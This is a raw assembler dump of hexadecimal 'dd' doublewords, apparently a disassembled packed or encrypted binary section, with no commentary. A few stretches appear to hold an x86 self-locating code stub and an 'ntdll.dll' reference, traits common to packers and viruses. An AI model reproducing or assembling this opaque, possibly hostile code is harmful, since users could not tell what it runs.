8C4AE900h, 0E7AED18Ah, 8BD04004h, 0EEF02468h, 0A9873625h dd 0FF2239DBh, 9FC218FFh, 0D162DCA1h, 0E2608DBFh, 2C9D72FFh dd 7D2B7EC8h, 0F0840106h, 607DE87h, 2E00000Ch, 0E80BD348h dd 1B9D82DBh, 0B50C0F5h, 0EC6FA4E8h, 176CA0C9h, 0F1C67448h dd 33EA3B4Ah, 375068h, 48770000h, 0D6858ED3h, 573DECB3h dd 0C76AEED0h, 0D30737Eh, 5334BC00h, 1F641215h, 280A9109h dd 0ADD5539Dh, 863526EDh, 7F8104A3h, 0FF0A87FCh, 18000002h dd 0BEA1BA5Ah, 0BD34859h, 99854A3Eh, 0ECB07AABh, 0F080F2D5h dd 0BF46DE32h, 7EC7E6DDh, 4D701F62h, 0E6E6C84Fh, 286B7EC7h dd 4A319679h, 8DF7E585h, 0EDB4D784h, 2339C5BAh, 0D7BA69F2h dd 905DFE13h, 0F51EDC40h, 83D83A66h, 51B69960h, 0D7848C4Ah dd 0BD4055F4h, 2F4BDB88h, 72000000h, 3E0BD348h, 0B8F4854Ah dd 7C04B495h, 0DBA2C596h, 44CB492Ch, 7EC8076Dh, 73E82BE9h dd 3D01390h, 0C04EB4Ah, 0BA7B824Fh, 614Ch, 854AE900h, 51626381h dd 0F3DB05Fh, 0F8FC0538h, 59BE3E21h, 9C239B81h, 7EC854BAh dd 8F16FC3Fh, 7EC854ADh, 0A70CEF32h, 0D2898C4Ah, 8705E8AFh dd 98C3510Fh, 9082AE75h, 845BE8CBh, 0F47EC76Bh, 0D24AFECBh dd 3B5EFD14h, 42C9174h, 0AB694F0Ch, 0AD12F566h, 30E3A17Bh dd 0B8D1F82Bh, 9023D5B0h, 0DD3B48ADh, 13C2BFB1h, 0AD7B5902h dd 471DF764h, 36B38DCEh, 2CE53186h, 92805EB2h, 30DFA6C9h dd 0A797460Dh, 6D4714FDh, 6DA9286h, 0AFAC65B1h, 2CD104C9h dd 587F1DB0h, 0CE43ED75h, 2CE9A78Dh, 62450C2Fh, 2AE860F0h dd 9E8075E6h, 0DC22C016h, 0FE412635h, 57BE571Bh, 22C01680h dd 63E0BAFDh, 0FF12CCB3h, 5CB8765Ch, 3215DCFFh, 461500AAh dd 0AE53CE23h, 593BC262h, 0DE22C016h, 85C9EC9Bh, 9FABCE8Dh dd 0FB0D4A31h, 0ED28F2C9h, 4FC2906Eh, 0AE68260Ch, 58C8AADh dd 22C01623h, 0D3B665A8h, 8B8A8B61h, 22C016B4h, 3E14EE31h dd 500B07D7h, 0DB3A7EA1h, 0FD195D80h, 92743B5Eh, 0A3DCBB00h dd 0F31EF8BFh, 43CE7868h, 9C743218h, 0F2D59CBFh, 782BF080h dd 0C24969ADh, 0B9A2729Eh, 0ED1401D6h, 0CB0F3229h, 0DE7D944Ah dd 2245F4BBh, 0F5219628h, 541B3E1Dh, 645B99A5h, 140457BAh dd 0DAB4A76Ah, 704A1104h, 0E87C43F3h, 0D90DF823h, 482B215Ah dd 0E8CE8D84h, 2A07E970h, 498C22C0h, 0BC7ADE66h, 0B9D00358h dd 8E7D783Bh, 440A588h, 0E143D10Dh, 0C76B785Ah, 0BBAFD7Eh dd 0A57221E8h, 0D24ADF56h, 6AF1D35Ah, 33767EC7h, 0C76B5C3Eh dd 0BB9EE17Eh, 14FA203Bh, 803CF24Fh, 0C7CF17F9h, 26599C7Eh dd 0EBCE426Bh, 1EDC4086h, 0C5A72EF6h, 4A7EC76Ah, 6E355807h dd 6C29268Bh, 1FDB88BDh, 42h, 0FD74846h, 0ECC34A42h, 697EC76Ah dd 107B4026h, 2B04F14Ah, 4A197E61h, 0B490DD2h, 2737411Ah dd 844B6EEDh, 48DF2D5h, 7B7E4B10h, 484CBAh, 12D00000h dd 3B395CFFh, 0C76AD2B4h, 6514577Eh, 0D7481D82h, 0D24A420Fh dd 3A1A760Dh, 996083D8h, 0D92BF466h, 0E68A6CF3h, 0CC0F7EC7h dd 0E6855CE9h, 0CCF57EC7h, 4EB4AFFh, 4A7E4B10h, 169D878Ch dd 7EC76B34h, 0E4C776B9h, 0B23BD697h, 0ED7EC778h, 0ADFE4207h dd 0EF168A17h, 4D00BCBCh, 0AA8D99D8h, 0FFFCAF2Eh, 653BCBFFh dd 0DF7EC76Bh, 3CC4A278h, 0A4C7947Eh, 0DA36FADDh, 6F515E81h dd 0E57EC76Bh, 3AD60077h, 2085439Dh, 4AF9E79Ch, 0EA26E46Ch dd 4ACA8E71h, 0B6A93311h, 0D5404D70h, 0ABBC7180h, 48186FDh dd 8720DE47h, 1F1h, 6B643BAEh, 7BDE7EC7h, 0C170EB26h, 9E9E63DBh dd 288F6F32h, 7D7401E4h, 3A78C05Ch, 0C54B19F7h, 0E52F7396h dd 50F5376h, 2E333356h, 0C48B12F8h, 4172BA1Bh, 0B002C7FEh dd 0DE3F17A6h, 0CF9E2h, 6FEC2B00h, 0A51C391h, 0A9B25E2Ch dd 4615FDCBh, 0E07B9A68h, 0D2056702h, 6C3A1843h, 5D3B1AAh dd 0A16F4D0Eh, 3B0DEB70h, 0BBEED057h, 997384D4h, 0D10D04FAh dd 46691843h, 250BD346h, 6B4426ADh, 4FC97EC7h, 0C76AE6C8h dd 79286B7Eh, 0EB911896h, 2878B9B0h, 0CF41FFE5h, 6845B908h dd 6F9B194Ah, 2806B5A6h, 9721B65Ah, 49266CA9h, 81BB1447h dd 0AC974976h, 7B96DAFDh, 0FDACAF63h, 9F47DADAh, 853B32B9h dd 0B5F872B2h, 0AE3E557Eh, 8F8BEC17h, 0C66h, 240259BEh dd 0BF9DBE56h, 5E3C1FF1h, 0FBD98290h, 9573E82Dh, 0B06572FAh dd 17FFCDABh, 7B986644h, 0DD3402E0h, 0EACEA07Eh, 0D4BC8163h dd 8D2C0684h, 2B4E0D04h, 0AF0362Bh, 0BF88E483h, 0C09EE178h dd 5E3C1FF2h, 0AF954DD4h, 0B28F6F28h, 8B71B472h, 9C239B13h dd 72B307BAh, 2507FC3Fh, 5C72B307h, 0F7C60A7Bh, 72B59A4Fh dd 9245CB8Fh, 8A5B989Ah, 5230DF0Eh, 0ACCF8C84h, 8195E9AEh dd 0F08F314Eh, 383B88A6h, 0BB9E4DC2h, 1E411AF7h, 0FDE33B1Eh dd 1D55C438h, 6B4EB2F9h, 0CA6F66EDh, 0E92C6CABh, 0B4F92BB2h dd 0B9B5161Dh, 0BBAh, 0D0AEAD6Ah, 6B491202h, 0AE8739Dh dd 0A785D63Ch, 411F3CD9h, 411C6A6h, 6BAB7957h, 0CF4412F0h dd 31E0AE8Ch, 967A4C2Ah, 0D4BD2D0Fh, 39D8B284h, 0D5868C4Ah dd 41E32EF2h, 0C76AD8BAh, 6B1A5D7Eh, 0A4860D85h, 297EC76Bh dd 484803E6h, 80E085D1h, 0D295B581h, 957F3D23h, 0F9DCA3C6h dd 8839F47Bh, 3B7E78C0h, 59858F5Dh, 15F3A2B9h, 0B492C947h dd 9D14845h, 714C5E23h, 0BAED6EA4h, 45781DEDh, 0AC5682B5h dd 0B02E116Ah, 0BFD01A29h, 0C8501778h, 7BE030CAh, 867EA248h dd 0E4ABCE8Dh, 0E6C84F35h, 6B78C158h, 0D5937928h, 7C5EE53Fh dd 178C159h, 712C0FBEh, 0FD5EB573h, 59B78D1Ah, 26ED78C1h dd 5DBA84B1h, 5B0A92A5h, 3C1FF438h dd 0C7BCF019h, 0A116C498h, 8F7FEB9Ah, 8BA0E4h, 4C70000h dd 1645CE10h, 977D2CF3h, 937652D2h, 3E6AA81h, 4B100448h dd 2BB22A28h, 7EC7B549h, 56050ECEh, 1200C4A7h, 32E22649h dd 58C14B29h, 423EA3FEh, 49F8E69Dh, 0F909DC63h, 0CF8D78C0h dd 2DF41744h, 538ACD4Ah, 119FC254h, 8B504CADh, 9900000Ah dd 31FFDD7Eh, 0CC9A78E3h, 6B391744h, 8D6B4A7h, 0D5704E0Dh dd 86D54097h, 1F3CDAA8h, 0BBA07341h, 59020FDDh, 3EC5A97Bh dd 84D4BE5Ch, 46807E1h, 0E76D4B10h, 6Ah, 4B100484h, 0E9312828h dd 7F123E03h, 1F4219FAh, 0CD602558h, 6B8ECD48h, 9412F5A4h dd 0C150460Dh, 0C249C378h, 78C12FE0h, 0EA71A565h, 5C558C3Bh dd 0A5119F7Bh, 0A184844h, 0B0C0000h, 70A47250h, 0D13F0DEBh dd 34DEAC8Ah, 9A7B4927h, 2448E3C1h, 1BF962B3h, 0B492C94Dh dd 502E2DE6h, 0EECC8F82h, 0CFB1381Ch, 5484D4BEh, 0D04DB7Ah dd 66AA684Eh, 595712F5h, 0FFE2799Bh, 9F85D63Bh, 6BBEA027h dd 83437EC7h, 0E0A7CA91h, 41934E31h, 0A2E3185Fh, 0E9DE88B5h dd 27Eh, 0B0B5F310h, 0BF61EDA9h, 46B12302h, 0B05FFC1Ah dd 0C66043CAh, 1EE578BFh, 9F4F347Eh, 0A0BB575Ch, 0DF5242F1h dd 6528ED9Eh, 0BBA179E0h, 0BAD47E43h, 0A383C2B5h, 0A12C33C0h dd 0E6297F22h, 885EC3C3h, 0F6661BA2h, 60A37917h, 655BC7Ah dd 0A4B75A28h, 48AD4E6Dh, 5652B311h, 95Eh, 2C0A51C6h, 0C7A5B65Eh dd 664417F9h, 3E17A98h, 9D7BE035h, 0A86D6A02h, 0F07D5B3h dd 73A06E4Ch, 0D53C0AE8h, 0F2D6A886h, 0D4BF896Bh, 95340E84h dd 284B1004h, 3E93128h, 0B9B08D7Ch, 21074A78h, 3526EBA9h dd 2E510A09h, 56C08467h, 0B2611F05h, 0DCBF86A9h, 0DD7E9866h dd 7EDD39F7h, 0A868945Bh, 0E6C990B3h, 0F0362B2Bh, 403C830Ah dd 0FAB872B2h, 0E05D401Bh, 0A82FF520h, 72B310C6h, 3659084Bh dd 1CDAC06Fh, 0A76C2AFAh, 10DDBFB4h, 0DA6172B3h, 72B310F8h dd 12553A7Dh, 5FB78563h, 7C95D9FCh, 9A5DA8DFh, 83E417ADh dd 8B187h, 0B7A47300h, 52090BD9h, 0F16AA674h, 8ECD4513h dd 2833E2B0h, 1ABDAF4Ah, 0B48260FBh, 4D1BF962h, 0E9B795C6h dd 83553328h, 0C036189Fh, 0E1BB84D4h, 51FB1242h, 877EC76Bh dd 9470A219h, 15F6D4CFh, 0B49A4355h, 0C7CF4B2Dh, 0AA8DD07Eh dd 9EF372Ah, 0CF280A91h, 6AAD7EC7h, 19910987h, 7DA0BB5Bh dd 0CEDFC1B6h, 0DC637EC7h, 7EC7CEFAh, 14573C7Fh, 4E312AE8h dd 0BFE67AC1h, 0CEB4F778h, 0BDD5F09h, 672E510Ah, 0CB9BAA34h dd 64AC6AE8h, 0A05739C0h, 62DC78C0h, 0C09FF9DBh, 8C3B7E78h dd 0FF77FFDDh, 0C0A09678h, 0AB9ECD78h, 0B0A9FB4Bh, 56050BCBh dd 0DD44C4A7h, 44981F05h, 0C872B65Bh, 24500B0Ah, 0B886BF0h dd 0ED24E2C8h, 7A15EBEAh, 0EF76D758h, 72B7410Dh, 74A04F92h dd 3210BF9Ch, 77AEAD64h, 17A96A98h, 0C74C48A9h, 5D000007h dd 0F5C3A1BAh, 905E3C1Fh, 2FFDDB80h, 0CC9A78E3h, 99341249h dd 4A1104D3h, 0E3789E6Ch, 7FDC3705h, 1D3ED3A1h, 2896D3Fh dd 84D4C120h, 3B2CCBA5h, 7EC76B65h, 27AE769Bh, 7EC76B45h dd 0FAD887CAh, 73FAE970h, 7EC76B91h, 53C24F16h, 337CD623h dd 77EFD584h, 0DCFF5CB9h, 0EBA53215h, 2F78C071h, 0D94E30B7h dd 90D378C0h, 7ED30ADh, 0F516CA8Fh, 697B04CFh, 0A51C286h dd 0A6B55E2Ch, 4D0E02C0h, 0C580632Ah, 73DC9h, 0D1486600h dd 0A59C2309h, 6278BF94h, 3EED6EA2h, 45380E1Bh, 18C678C0h dd 0D7E99CA3h, 22A2E48Fh, 0C9000001h, 294C0F04h, 72A31E5h dd 270D4EC3h, 0CBAEAD69h, 1447CC10h, 33AB6836h, 0ABCE7DDEh dd 896FB1ABh, 0C7696802h, 3FA76C7Eh, 3EE52067h, 9DE05D40h dd 9A126E7Ah, 0C8423113h, 9073B67Eh, 0B45FBB00h, 18FBC9A7h dd 45132043h, 0B37EC841h, 6FA47E45h, 0C8860EECh, 26ED104Bh dd 359C343h, 0ED784D9Fh, 6349F879h, 0C84232DCh, 1134777Eh dd 341249CDh, 88ABB066h, 6B8ECD44h, 4B6EED27h, 294C0F07h dd 0DEBD02CAh, 0DB077CEAh, 0BA42203Bh, 143657F5h, 0BEA1BB5Ch dd 1C3F1CFAh, 0F7DD051Ch, 0BFA0A970h, 905F2678h, 57BD719Bh dd 0A52D0BBAh, 51ECF0E0h, 4326D641h, 0A1C4977Fh, 2FE4BFA1h dd 10977D2Ch, 78C05D32h, 3D496CAFh, 0E82EE8CFh, 4F0D9573h dd 0EDB194C7h, 0F0F3229h, 34169D0Ah, 0B978C05Dh, 90CB4A76h dd 0D43DFBE1h, 9F26A487h, 72B96DE8h, 37FCE225h, 68ACDD4Bh dd 0A41AFD4Dh, 5DE440D6h, 72B9407Bh, 300EBD00h, 126B162h dd 0AFAE020h, 0C64E2CDBh, 44D10D08h, 0D73C6817h, 0B79A6184h dd 9D14852h, 6AC19C23h, 34678C0h, 0E3789CE0h, 0D7489605h dd 29EEEC0Fh, 0E5F993E8h, 921F02CAh, 7EC852BCh, 20279C4Ah dd 0DE87CA65h, 4026h, 854A4D00h, 94616080h, 0BAA17409h dd 3E21D097h, 603D9A7Ah, 83578163h, 0D1DE01B0h, 7EC78EEFh dd 5680F765h, 768619BEh, 0D1C7F45Bh, 0FEBC4422h, 5E254813h dd 0EB4CEE7Bh, 0A3877EC6h, 0FFFFFFA2h, 4E0D0440h, 0F467AA68h dd 0F0DAC11h, 799CBF51h, 4A6ACFB2h, 0B4D7848Ch, 918A0AEDh dd 0E3527C49h, 88BD6C29h, 431FDBh, 4A460000h, 0FAB31985h dd 0C1ED0598h, 0A4240754h, 4A9663BBh, 0C76AE1C3h, 66ED657Eh dd 7EC76B84h, 769AC609h, 18FBC2E5h, 4A8B589Bh, 4B1004EBh dd 0EE6DA765h, 0BC2104CBh, 31E3A17Bh, 4CE2472Ah, 35h, 0FD748E9h dd 0E1C34A42h, 597EC76Ah, 0D5F863B3h, 2B30E20Eh, 0D24AAF7Ch dd 0C76B694Bh, 0BDBEA07Eh, 340CF793h, 0AB290C4Fh, 0CE10044Ch dd 2AEB1744h, 7BB58231h, 4F0C04BAh, 6B3D1F2Ch, 45B37EC7h dd 0EF6CA47Eh, 7A2D7A11h, 0FCE07EC7h, 0FFFFF3C6h, 20854A99h dd 0D75DC1D4h, 59020E3Ah, 0F962B276h, 5288911Bh, 0D9BAE56Ch dd 0BCFF78BFh, 9AB68C99h, 964478C0h, 866B1A21h, 720E48Fh dd 47000000h, 14Ch, 0D148E900h, 0B19C2309h, 7678C071h dd 48CC1033h, 0F9E3513h, 0C578C061h, 612F0D4Eh, 3186A9B2h dd 68F31FE6h, 4C0F0145h, 4467F420h, 59067D85h, 15C1B6A6h dd 0B17F5DFEh, 4B21FB60h, 3EBB95C6h, 24ED298Eh, 0BF8726B3h dd 0C1A79EC2h, 0BF7A583Ah, 0EB9ADD78h, 6E564005h, 0DB9F8EABh dd 940C70F8h, 0BF892B0Dh, 8A6DB078h, 0E5854A25h, 0D5868DA3h dd 1A21BFA2h, 2BCBAD34h, 0D507EC8h, 0FCFA8B2Ah, 0AD91DF07h dd 0B8000000h, 3D0AD648h, 6AECC34Ah, 335C7EC7h, 38EB4A66h dd 0D04FA5Fh, 280D814Eh, 420FD748h, 0A0CCA52h, 29096E51h dd 0DB88BD6Ch, 481Fh, 0D7484600h, 0B2EC13D8h, 9D38F8C5h dd 0C823C6A8h, 59084B7Eh, 0E1C34A8Ch, 667EC76Ah, 0EB4A5623h dd 45CE1004h, 302BEA16h, 0CA97460Dh, 33E3A17Bh, 6B886AF1h dd 0CA0D7EC7h, 4CD3381Bh, 3Ah, 0DC0212D0h, 95782734h, 8A8C4A30h dd 0ED6EEED1h, 4FFE5DB8h, 888C4A82h, 0EB72F0D3h, 7EC76B09h dd 4A8B5881h, 4B1004EBh, 0ED6EA765h, 0A17BA50Ah, 6BC0A229h dd 2457EC7h, 364CBA1Fh, 0E9FFFFFFh, 2B4E0D04h, 5EB42AE7h dd 0AA684EFDh, 9B11F467h, 0ECD20811h, 0C07B9265h, 0B1D41778h dd 0C05ACEA4h, 0C9AE5C78h, 8FC55332h, 3238E4h, 485F0000h dd 694BD2D1h, 0EE7EC76Bh, 9E16FCABh, 462932E0h, 0BF9AE2B9h dd 729F5F78h, 50FFC6E9h, 3B4A202Dh, 2AD878C0h, 0E1D7AE55h dd 0EFB4E48Fh, 0DB000000h, 684E0D04h, 78E332F0h, 0C76BA183h dd 545F267Eh, 0F7A8B5D6h, 803B1ECDh dd 5F82D93Ch, 0EA71A361h, 0B0C54FB7h, 1CFFC666h, 0F125B958h dd 153823EDh, 0AF09F4Eh, 6591CA4Ch, 12CDB0ABh, 3A1843CEh dd 0C7CC39A3h, 845AB77Eh, 0E2A9CC8Fh, 838F4D33h, 1056A5D8h dd 0A017DB33h, 987947BDh, 0B9A0A0C3h, 0F4A617DDh, 0E9983D55h dd 99C68B03h, 0B257862h, 16694B40h, 2EEE7EC8h, 8D5477E4h dd 0F67DFBDEh, 78C03E7Bh, 951FFD40h, 0E970568Ch, 72B69A3Dh dd 0EA01BB82h, 925837E2h, 0D63FFDE3h, 3CD9A785h, 0C731E81Fh dd 0AF1017A9h, 259B3h, 0F4CCB00h, 0AAB16331h, 4912FECCh dd 0E6759D6Bh, 80DB3A08h, 726507A2h, 0CDAB8A3h, 0A573510Ah dd 410FED6Eh, 0DBAD8BD0h, 0C68E70F7h, 391384D4h, 4A11049Ah dd 0EB26E46Ch, 48C98D70h, 2FDE7D96h, 0D148E251h, 0C59C2309h dd 4278BF9Bh, 995419FFh, 0DBFC588Ch, 0F3DC9245h, 67178AC0h dd 0DB0C292Bh, 785B0A01h, 0ADAB0BDh, 0BA6878C0h, 11473EC5h dd 0E744E490h, 6B000000h, 76CA0D04h, 7D4DAF97h, 52507322h dd 0B9DC7F94h, 6261836Eh, 98476C62h, 9F492BB2h, 8BCE7EC7h dd 2A31E4A8h, 0C94B0907h, 0B822AF92h, 367EC7A1h, 7891FCDBh dd 541F1170h, 813FC7A5h, 23E7CA91h, 4A4A6DEEh, 6B290FD7h dd 0CC93B6A5h, 69E46BE9h, 2E78C026h, 9E830DEBh, 72EA6248h dd 0C0D709EBh, 1F4B8E78h, 7E4568F3h, 7D090E9Bh, 460672B6h dd 0F8DE8DCEh, 9DABBB80h, 3E9E2F3Ch, 75580312h, 19F764B1h dd 5A91CA4Bh, 17AA3689h, 4F1B1778h, 0D5000001h, 6D3B1942h dd 8D6B4A7h, 0A7755308h, 4412F06Bh, 11AC8AD1h, 0C2997C5Bh dd 5B0016E4h, 0F764AF7Dh, 95C64B19h, 7A01E5B7h, 84D4C798h dd 4A4431Dh, 0E044CD11h, 0C76B7759h, 0AB9FC7Eh, 62AF7D5Bh dd 0BD5513F9h, 6AFEE067h, 40837EC7h, 0C4A76E91h, 0D04DF4Eh dd 2AE72B4Eh, 50C95331h, 0F2801306h, 0BE6DAB08h, 0F7D960D8h dd 7C7EC79Fh, 51D85639h, 78BFB80Ah, 0F4CC886h, 866CAF2Ch dd 0B80B5BC1h, 0C5A888DDh, 0D3888947h, 71EA27F5h, 13CB4E4Eh dd 0D1BFA62Dh, 397C72B2h, 0AD58EB02h, 0B9B51617h, 0AAh dd 0E0BE9D7Ah, 7B590212h, 1AF863ADh, 0B795C64Ch, 512F2CE9h dd 0F421B6B6h, 5BBB8967h, 0BF542200h, 21F0BE9Ch, 0A68A5C3Ah dd 0D4C83D1Fh, 49E8C284h, 2309D148h, 0CAAC33ABh, 4F7EC76Ah dd 0B19C290Ch, 7678B9A9h, 9A121033h, 0BA2A3113h, 0B4A76F78h dd 0E5A98CCFh, 83512F2Ch, 29E7CD8Eh, 0D4B63DE7h, 5978BA29h dd 0D83B6716h, 0B6996083h, 0C28FEEFBh, 0E2AA94BBh, 0ED0419Dh dd 6C335605h, 11DFBDh, 1EF4385Bh, 2592573Dh, 0E0C249A2h dd 6554BCA8h, 0BB9EEF22h, 2935F0D3h, 0F71AC4BBh, 59B88664h dd 3E3DF02h, 80000000h, 13041520h, 30E12548h, 4FC4082Bh dd 71A5E90Ch, 9283C7EAh, 0B362A6C9h, 0D14185A8h, 0ED23678Ah dd 0D074B6Eh, 532A2B4Eh, 0BD55E389h, 4, 835DEB01h, 1C8704EBh dd 0CE685C24h, 89000048h, 8950241Ch, 405E0h, 0E8830000h dd 24048704h, 240C895Ch, 45256855h, 815D00F8h, 0EB012FEDh dd 8BEB89FAh, 0C483242Ch, 0C8B5404h, 4C48324h, 8904EC83h dd 418F241Ch, 2434FF08h, 4C48359h, 5B2434FFh, 0E904C483h dd 0FFFA1CC2h, 0CC11A4E6h, 0D5E45B8h, 50C50306h, 2C0585C6h dd 68470607h, 0CF381725h, 1B2DB5FFh, 858D0607h, 6073B24h dd 0D88BD0FFh, 1771858Dh, 68500607h, 104h, 85C6D3FFh, 6072C05h dd 0F8BF6853h, 0B5FF8307h, 6071B2Dh, 3B24858Dh, 0D0FF0607h dd 41D18589h, 0BD83060Dh, 607217Dh, 0B840F00h, 8B000000h dd 71AED9Dh, 5E906h, 0BB0000h, 68000000h, 100h, 41D5B58Dh dd 5356060Dh, 303D95FFh, 0B58D0607h, 60D41D5h, 1E9F003h dd 4E000000h, 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh dd 0D5858D00h, 50060D41h, 41D195FFh, 0FF58060Dh, 0A048FFE0h dd 741CCA49h, 0E8DE8903h, 0D1FDC944h, 0FE926600h, 0F1E14A1Eh dd 6ADB0C2Dh, 588D5000h, 2D361F2Fh, 0F390A666h, 0A7B4DF04h dd 71146226h, 0BCEEF10Fh, 44056912h, 2A45914Fh, 0B1450939h dd 8CA0141Bh, 0A02FDA66h, 231D9A64h, 0B58E4915h, 674005Eh dd 0D70C3507h, 0E00EB666h, 0E554CF30h, 0A10E4841h, 52A6B702h dd 4C6A946Ah, 7E7F0A35h, 5C5D4A67h, 60CF185Ch, 1996174Dh dd 9E830h, 0F16C0000h, 9A0E27F3h, 5AA094A5h, 6899F681h dd 0C281608Bh, 6AB8h, 68F3B70Fh, 1A88h, 1B830Fh, 10E80000h dd 2C000000h, 4CED8976h, 0EFA9FC64h, 52338349h, 6696D0C4h dd 63FCE81h, 0BF0F585Eh, 0F32FFF0h, 0F5BCABFh, 1786h, 0CE800h dd 9B680000h, 7914C60Eh, 15E8E865h, 81BEAD92h, 59111C08h dd 455EEB81h, 0B70F114Bh, 34C381CAh, 0F23F2A7h, 0EB81F6B7h dd 5C00B1E4h, 1A895E57h, 2880F60h, 8B000000h, 0EA8361FEh dd 0F0B70F03h, 48EC8A4Ah, 0FFA7850Fh, 0CE8FFFFh, 10000000h dd 0E55C9E49h, 0E3D3A80Eh, 0B087EFA7h, 0BF0F5BE9h, 8C381F7h dd 0F9000066h, 13E9C933h, 18000000h, 20C2EB6Bh, 0DB1B960h dd 0DE9D32Eh, 79FE43D6h, 3C8B291Fh, 0F59CB80Bh, 0EF813259h dd 12E990DBh, 9ECA17B8h, 4C78107h, 0FC1ED7EEh, 73B6F781h dd 0CE81531Eh, 9FA82D7h, 0F78B6657h, 660B048Fh, 0F208E081h dd 0E98399B2h, 0F0BF0F04h, 9A94F981h, 850FFFFFh, 14h, 21E9F5h dd 0CE5C0000h, 0BC523B8Fh, 0F8EF5234h, 0B042515Bh, 0E9D6BF0Fh dd 0FFFFFF9Eh, 0FE3D8F60h, 0F1214DB3h, 8D28676Eh, 0D62068Dh dd 9150BE06h, 8D894017h, 6070679h, 0E1E8EA81h, 85C75878h dd 6072CE5h, 69C4h, 0FDE8B66h, 0D81h, 8E900h, 15CA0000h dd 7324397Ch, 85C7591Ah, 6072D05h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F4C35141h dd 0C93F053Dh, 89262B8Ch, 7012195h, 91B5FF06h, 6A06070Ch dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0D05EC356h, 56C7B860h, 29600993h, 72649B5h dd 95FF6106h, 60700BDh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 86C35646h, 0B0EC7376h, 0B3ECB12h, 0E8F9B70Fh dd 6, 0EDD8464Bh, 85293B25h, 6071DDDh, 0FF006A5Eh, 716B595h dd 0EBC08B06h, 0EAB1EC7Eh, 0D88C085Fh, 24554303h, 9B14984Fh dd 431F11Ah, 2DC31C24h, 0C43629E4h, 453E7D74h, 0E9F5FB1Ah dd 0E910174Fh, 9765BE5Ch, 67A41C37h, 0BA6760CEh, 1D5FA5E7h dd 967BEB82h, 0C3C0CD89h, 0CBB28E71h, 1B9E2E9Eh, 0F7182AE6h dd 14D9EECDh, 8543E2Ah, 0E7FE09EBh, 2C3A90A9h, 0C39D0F57h dd 298AC43Ch, 46696C2Ch, 6AC5845Eh, 0A191715Ch, 5FF5395Fh dd 0ACCA082Dh, 73F31D56h, 0E8F6363Bh, 6, 2004BDBBh, 820F5B12h dd 1Fh, 0DE8h, 456C500h, 729CA443h, 0DB615CFAh, 7E943F9h dd 0E5000000h, 125AC534h, 5F5BCEFDh, 14BD8D8Bh, 0C7810607h dd 6442h, 1CB19D8Bh, 0D22B0607h, 1FD59589h, 348B0607h dd 0EE917h, 786F0000h, 5E6934E9h, 0C1BACC5h, 9BE4E7D3h dd 395FEE81h, 9E95A87h, 1C000000h, 206F21A3h, 0F1A71D7h dd 51A7C681h, 0F6813440h, 5BEAA56Bh, 3489CB8Bh, 7D958917h dd 0F06070Eh, 0EA81C8B7h, 493054E2h, 0D58BC981h, 0C28127F1h dd 493054DEh, 1F08B60h, 732F99Dh, 0FA816106h, 0FFFF9C6Ch dd 0FF94850Fh, 8D8DFFFFh, 60D63D3h, 5AD38B52h, 6798D89h dd 95890607h, 6070039h, 2CE585C7h, 69C80607h, 85C70000h dd 6072D05h, 0 dd 788BE681h, 0B58B17B4h, 6072A69h, 0B75B5FFh, 6A0607h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0D6C8BFC3h, 0CBD9D29h, 95FF0607h, 60700BDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0E6C35646h, 0E2281957h dd 0D73CA4E3h, 6ABDB2h, 16B595FFh, 0C08B0607h, 18017DEBh dd 0E1D41B14h, 7F1D2A2Dh, 0DC0E11B6h, 0FC3227E7h, 0E5DF1F7Fh dd 4479D5EFh, 2E935D47h, 0BAA86F79h, 0EB6D19C2h, 8EB5E6FCh dd 28BA4E2Eh, 0D576508Dh, 0A228D94Ah, 0FB004FFCh, 0DDBDCA5Bh dd 4EF80CD2h, 0EADB1C9Ch, 28421961h, 0B245165h, 344AFE22h dd 3468EAB0h, 8851419Eh, 9B8F2EB1h, 5800F6F7h, 0FDBDAAE4h dd 0A89C9A9Fh, 3579C4C1h, 23CB8DE5h, 49837FD0h, 0E92FEFDFh dd 0E95C1381h, 26h, 29C76EB9h, 0E61D8C93h, 2E81E89Dh, 6C64746Eh dd 6C642E6Ch, 1467006Ch, 8003B2BDh, 0FEB9h, 0 dd 87E90000h, 68000006h, 60D65A2h, 0FA16DDE9h, 667A68FFh dd 0D3E9060Dh, 68FFFA16h, 60D6731h, 0FA16C9E9h, 680968FFh dd 0BFE9060Dh, 68FFFA16h, 60D68F7h, 0FA16B5E9h, 69D368FFh dd 0ABE9060Dh, 0C5FFFA16h, 5D2B0952h, 0F8C6A4B7h, 97654318h dd 3402E07Bh, 19C7AE1h, 0B2A96C6Bh, 4B1006D4h, 0E7749F6Dh dd 85D63B09h, 6AF1D5A7h, 84D4CF88h, 0BD7B330Dh, 0BC210457h dd 214Ch, 0D04E900h, 6AAA684Eh, 6583CEF1h, 9EB5FEFDh, 8B4629D8h dd 0B391CA47h, 0C776461Ch, 0C4977C7Eh, 8C4A77E6h, 0E8AFD289h dd 469C8505h, 7F96D960h, 1BDB78C0h, 8EB160FBh, 0C058AB81h dd 348B3978h, 8FC4760Fh, 27015E4h, 0F33C0000h, 1D40D9F0h dd 7D4467F4h, 0EF23E8CEh, 0AA89C8DFh, 37BF9DCh, 9B304A3Eh dd 290C3EBFh, 0C019B99Ch, 0BFB3E78h, 9169D198h, 10D64B34h dd 2F60A32Ah, 62A5AE8Bh, 4DA3F3Fh, 2AB4601Eh, 0E3C675E6h dd 8529DE65h, 2366A880h, 0C9927F3Dh, 67F41DEBh, 0E0459430h dd 4E4AABE1h, 4C8h, 0CEA71A6h, 0A785D63Eh, 462437D9h, 0E3C19A78h dd 7D5B0015h, 0C84D8AE2h, 2FE7B593h, 93804E2Ch, 0F51CEAC8h dd 0D2B68866h, 0D4D0694Bh, 7514EE84h, 684E0D04h, 9F8CC6A3h dd 8A6D7218h, 313D1CFh, 0B0373558h, 7EC7B8CEh, 7E611053h dd 0DDC31BFEh, 0C0CC9756h, 0B391D478h, 0D2C7662Bh, 48806026h dd 0FDE08FCCh, 5210BB28h, 0F9DB62C2h, 7E78C08Bh, 29A98C3Bh dd 7D04EA30h, 72B8B89Ah, 7EF6DC1Fh, 609D7F06h, 0DF2272B9h dd 0B96008EAh, 8FCC4672h, 0FC8467AAh, 1B165089h, 578F92FAh dd 0BBA7EA71h, 2CECD414h, 0A4C776E5h, 